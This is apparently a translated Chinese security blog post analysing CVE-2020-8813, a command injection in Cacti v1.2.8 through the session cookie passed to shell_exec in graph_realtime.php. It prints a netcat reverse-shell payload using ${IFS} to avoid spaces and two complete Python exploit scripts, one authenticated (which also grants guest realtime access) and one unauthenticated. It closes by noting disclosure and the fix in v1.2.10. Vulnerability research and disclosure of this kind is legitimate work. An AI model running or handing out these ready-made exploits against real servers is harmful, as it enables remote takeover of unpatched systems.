CVE-2020-8813:Cacti v1.2.8 中經過身份驗證的RCE漏洞分析
- 2020 年 3 月 16 日
- 筆記

關於Cacti
Cacti是一套基於PHP,MySQL,SNMP及RRDTool開發的網路流量監測圖形分析工具。Cacti通過 snmpget來獲取數據,使用 RRDtool繪畫圖形,而且你完全可以不需要了解RRDtool複雜的參數。它提供了非常強大的數據和用戶管理功能,可以指定每一個用戶能查看樹狀結構、host以及任何一張圖,還可以與LDAP結合進行用戶驗證,同時也能自己增加模板,功能非常強大完善。介面友好。軟體 Cacti 的發展是基於讓 RRDTool 使用者更方便使用該軟體,除了基本的 Snmp 流量跟系統資訊監控外,Cacti 也可外掛 Scripts 及加上 Templates 來作出各式各樣的監控圖。
cacti是用php語言實現的一個軟體,它的主要功能是用snmp服務獲取數據,然後用rrdtool儲存和更新數據,當用戶需要查看數據的時候用rrdtool生成圖表呈現給用戶。因此,snmp和rrdtool是cacti的關鍵。Snmp關係著數據的收集,rrdtool關係著數據存儲和圖表的生成。
漏洞利用分析
我在分析Cacti主要程式碼中的多個功能函數時,發現了這個漏洞。我需要結合多個漏洞利用因素才能實現程式碼執行,當攻擊者嘗試向「Cacti」這個Cookie變數中注入惡意程式碼時,便會觸發這個漏洞,而這個變數在與一些字元串合併之後將會被傳遞給shell_exec函數。但是當我嘗試修改這個cookie值時遇到了身份驗證的問題,而這個問題使我無法訪問到目標頁面,但是我發現這個包含漏洞的頁面是能夠以「Guest」身份訪問的,這樣就不需要進行身份驗證了,所以我修改了漏洞利用程式碼,並使用「Guest」身份來訪問頁面「graph_realtime.php」,然後發送惡意請求來在目標主機上實現程式碼執行。
首先,我們需要向「user_admin.php」頁面發送一個請求來啟用「realtime_graph」的訪客許可權,然後再向「graph_realtime.php」頁面發送惡意請求。
接下來,我使用了這個常用的RCE掃描腳本【RECScanner】來在Cacti中搜索RCE漏洞。
運行腳本後,我在「graph_realtime.php」文件中發現了一個非常有意思的東西:
graph_realtime.php
/* call poller */ $graph_rrd = read_config_option('realtime_cache_path') . '/user_' . session_id() . '_lgi_' . get_request_var('local_graph_id') . '.png'; $command = read_config_option('path_php_binary'); $args = sprintf('poller_realtime.php --graph=%s --interval=%d --poller_id=' . session_id(), get_request_var('local_graph_id'), $graph_data_array['ds_step']); shell_exec("$command $args"); /* construct the image name */ $graph_data_array['export_realtime'] = $graph_rrd; $graph_data_array['output_flag'] = RRDTOOL_OUTPUT_GRAPH_DATA; $null_param = array();
我們可以看到上述程式碼中的第4和第5行,我們收到了一些參數,還有一個名叫「get_request_var」的函數,該函數的作用如下:
html_utility.php
function get_request_var($name, $default = '') { global $_CACTI_REQUEST; $log_validation = read_config_option('log_validation'); if (isset($_CACTI_REQUEST[$name])) { return $_CACTI_REQUEST[$name]; } elseif (isset_request_var($name)) { if ($log_validation == 'on') { html_log_input_error($name); } set_request_var($name, $_REQUEST[$name]); return $_REQUEST[$name]; } else { return $default; } }
我們可以看到,這個函數可以處理輸入數據並通過函數「set_request_var」來設置參數值,而這個函數的相關程式碼如下:
html_utility.php
function set_request_var($variable, $value) { global $_CACTI_REQUEST; $_CACTI_REQUEST[$variable] = $value; $_REQUEST[$variable] = $value; $_POST[$variable] = $value; $_GET[$variable] = $value; }
接下來,回到我們的「graph_realtime.php」頁面,我們可以控制下列輸入:
local_graph_id The value of $graph_data_array[『ds_step』]
但是,我們注意到「graph_realtime.php」文件中的第4行,它使用了sprintf()函數來處理輸入,而第一個值「graph」的內容為「local_graph_id」,而這個值是我們可以控制的!又但是,一個名叫「get_filter_request_var」的函數會對這個值進行過濾,我們可以看到,它在「graph_realtime.php」中已經被過濾了:
html_utility.php
function get_filter_request_var($name, $filter = FILTER_VALIDATE_INT, $options = array()) { if (isset_request_var($name)) { if (isempty_request_var($name)) { set_request_var($name, get_nfilter_request_var($name)); return get_request_var($name); } elseif (get_nfilter_request_var($name) == 'undefined') { if (isset($options['default'])) { set_request_var($name, $options['default']); return $options['default']; } else { set_request_var($name, ''); return ''; } } else { if (get_nfilter_request_var($name) == '0') { $value = '0'; } elseif (get_nfilter_request_var($name) == 'undefined') { if (isset($options['default'])) { $value = $options['default']; } else { $value = ''; } } elseif (isempty_request_var($name)) { $value = ''; } elseif ($filter == FILTER_VALIDATE_IS_REGEX) { if (is_base64_encoded($_REQUEST[$name])) { $_REQUEST[$name] = utf8_decode(base64_decode($_REQUEST[$name])); } $valid = validate_is_regex($_REQUEST[$name]); if ($valid === true) { $value = $_REQUEST[$name]; } else { $value = false; $custom_error = $valid; } } elseif ($filter == FILTER_VALIDATE_IS_NUMERIC_ARRAY) { $valid = true; if (is_array($_REQUEST[$name])) { foreach($_REQUEST[$name] AS $number) { if (!is_numeric($number)) { $valid = false; break; } } } else { $valid = false; } if ($valid == true) { $value = $_REQUEST[$name]; } else { $value = false; } } elseif ($filter == FILTER_VALIDATE_IS_NUMERIC_LIST) { $valid = true; $values = preg_split('/,/', $_REQUEST[$name], NULL, PREG_SPLIT_NO_EMPTY); foreach($values AS $number) { if (!is_numeric($number)) { $valid = false; break; } } if ($valid == true) { $value = $_REQUEST[$name]; } else { $value = false; } } elseif (!cacti_sizeof($options)) { $value = filter_var($_REQUEST[$name], $filter); } else { $value = filter_var($_REQUEST[$name], $filter, $options); } } if ($value === false) { if ($filter == FILTER_VALIDATE_IS_REGEX) { $_SESSION['custom_error'] = __('The search term "%s" is not valid. Error is %s', html_escape(get_nfilter_request_var($name)), html_escape($custom_error)); set_request_var($name, ''); raise_message('custom_error'); } else { die_html_input_error($name, get_nfilter_request_var($name)); } } else { set_request_var($name, $value); return $value; } } else { if (isset($options['default'])) { set_request_var($name, $options['default']); return $options['default']; } else { return; } } }
這個函數將會對輸入數據進行過濾,然後返回一個「乾淨的」變數並傳遞給下一個函數。
對於第二個變數「$graph_data_array[『ds_step』]」,它已經通過sprintf()進行處理了(%d),這也就意味著它會變成一個十進位值,所以我們無法用它來注入我們的惡意命令。
接下來,我們再看看下面這段程式碼:
graph_realtime.php
/* call poller */ $graph_rrd = read_config_option('realtime_cache_path') . '/user_' . session_id() . '_lgi_' . get_request_var('local_graph_id') . '.png'; $command = read_config_option('path_php_binary'); $args = sprintf('poller_realtime.php --graph=%s --interval=%d --poller_id=' . session_id(), get_request_var('local_graph_id'), $graph_data_array['ds_step']); shell_exec("$command $args"); /* construct the image name */ $graph_data_array['export_realtime'] = $graph_rrd; $graph_data_array['output_flag'] = RRDTOOL_OUTPUT_GRAPH_DATA; $null_param = array();
我們看到了另一個傳遞給shell_exec函數的變數,而這個變數的值就是session_id()函數返回的值,這個函數可以返回當前用戶會話的值,也就是說,我們可以用它來注入我們的命令。
等一下,如果我們修改了會話,那我們就無法訪問目標頁面了,因為這個頁面要求用戶在經過了身份驗證之後才能訪問。研究之後我又發現,如果我們啟用了一個名叫「Realtime Graphs」的特殊許可權之後,我們就能夠以訪客身份訪問這個頁面了:

接下來,我們嘗試在不開啟「Guest Realtime Graphs」許可權的情況下訪問該頁面:

正如我們所見,由於許可權問題,我們現在無法訪問這個頁面,現在我們重新開啟該許可權,然後訪問該頁面:

很好,接下來我們發送「graph_realtime.php」頁面請求,然後在程式碼中添加一條「echo」語句來輸出傳遞給shell_exec函數的值:


如圖所示,我們將會話列印了出來,接下來我們嘗試向會話中注入自定義字元串:

非常好,我們成功實現了注入。
Payload開發
成功控制了會話值之後,我們需要用它來在目標系統中實現程式碼執行,但由於它本質上還是一個會話值,因此我們無法使用一些特殊字元,所以我們需要開發一個「對會話友好的」Payload。
比如說,如果對字元串「Hi Payload」進行編碼,然後傳遞給應用程式,我們將會看到:


我們可以看到,應用程式設置了一個Cookie給我們,而不是我們所注入的那個,為了解決這個問題,我們需要使用一個自定義的Payload。
為了避免使用空格字元,我打算使用「${IFS}」這個Bash變數來代表一個空格。
當然了,我們還需要使用「;」來轉義命令:
;payload
如果我們想使用netcat來獲取一個Shell,我們還需要創建下列Payload:
;nc${IFS}-e${IFS}/bin/bash${IFS}ip${IFS}port
我們先對Payload進行編碼:

然後將其發送給應用程式:

很好,我們的Payload執行成功了,並拿到了一個Shell。
漏洞利用程式碼
為了實現整個漏洞利用的自動化過程,我編寫了一個Python腳本來利用該漏洞:
#!/usr/bin/python3 # Exploit Title: Cacti v1.2.8 Remote Code Execution # Date: 03/02/2020 # Exploit Author: Askar (@mohammadaskar2) # CVE: CVE-2020-8813 # Vendor Homepage: https://cacti.net/ # Version: v1.2.8 # Tested on: CentOS 7.3 / PHP 7.1.33 import requests import sys import warnings from bs4 import BeautifulSoup from urllib.parse import quote warnings.filterwarnings("ignore", category=UserWarning, module='bs4') if len(sys.argv) != 6: print("[~] Usage : ./Cacti-exploit.py url username password ip port") exit() url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] ip = sys.argv[4] port = sys.argv[5] def login(token): login_info = { "login_username": username, "login_password": password, "action": "login", "__csrf_magic": token } login_request = request.post(url+"/index.php", login_info) login_text = login_request.text if "Invalid User Name/Password Please Retype" in login_text: return False else: return True def enable_guest(token): request_info = { "id": "3", "section25": "on", "section7": "on", "tab": "realms", "save_component_realm_perms": 1, "action": "save", "__csrf_magic": token } enable_request = request.post(url+"/user_admin.php?header=false", request_info) if enable_request: return True else: return False def send_exploit(): payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port) cookies = {'Cacti': quote(payload)} requests.get(url+"/graph_realtime.php?action=init", cookies=cookies) request = requests.session() print("[+]Retrieving login CSRF token") page = request.get(url+"/index.php") html_content = page.text soup = BeautifulSoup(html_content, "html5lib") token = soup.findAll('input')[0].get("value") if token: print("[+]Token Found : %s" % token) print("[+]Sending creds ..") login_status = login(token) if login_status: print("[+]Successfully LoggedIn") print("[+]Retrieving CSRF token ..") page = request.get(url+"/user_admin.php?action=user_edit&id=3&tab=realms") html_content = page.text soup = BeautifulSoup(html_content, "html5lib") token = soup.findAll('input')[1].get("value") if token: print("[+]Making some noise ..") guest_realtime = enable_guest(token) if guest_realtime: print("[+]Sending malicous request, check your nc ;)") send_exploit() else: print("[-]Error while activating the malicous account") else: print("[-] Unable to retrieve CSRF token from admin page!") exit() else: print("[-]Cannot Login!") else: print("[-] Unable to retrieve CSRF token!") exit()
運行了漏洞利用程式碼之後,我們將會看到:

再一次成功拿到了Shell!
未經身份認證的漏洞利用
如果Cacti啟用了「Guest Realtime Graphs」許可權,那麼我們就可以在未經身份驗證的情況下利用該漏洞了。下面給出的是這種場景下的漏洞利用程式碼:
#!/usr/bin/python3 # Exploit Title: Cacti v1.2.8 Unauthenticated Remote Code Execution # Date: 03/02/2020 # Exploit Author: Askar (@mohammadaskar2) # CVE: CVE-2020-8813 # Vendor Homepage: https://cacti.net/ # Version: v1.2.8 # Tested on: CentOS 7.3 / PHP 7.1.33 import requests import sys import warnings from bs4 import BeautifulSoup from urllib.parse import quote warnings.filterwarnings("ignore", category=UserWarning, module='bs4') if len(sys.argv) != 4: print("[~] Usage : ./Cacti-exploit.py url ip port") exit() url = sys.argv[1] ip = sys.argv[2] port = sys.argv[3] def send_exploit(url): payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port) cookies = {'Cacti': quote(payload)} path = url+"/graph_realtime.php?action=init" req = requests.get(path) if req.status_code == 200 and "poller_realtime.php" in req.text: print("[+] File Found and Guest is enabled!") print("[+] Sending malicous request, check your nc ;)") requests.get(path, cookies=cookies) else: print("[+] Error while requesting the file!") send_exploit(url)

我們可以看到,在這種場景下同樣能夠成功利用該漏洞。
漏洞披露
在發現該問題之後,我們便將完整的PoC上報給了Cacti的團隊,他們也在第一時間修復了該漏洞並發布了漏洞修補程式,從Cacti v1.2.10開始將不再受此漏洞的影響。
* 參考來源:shells,FB小編Alpha_h4ck編譯,轉載請註明來自FreeBuf.COM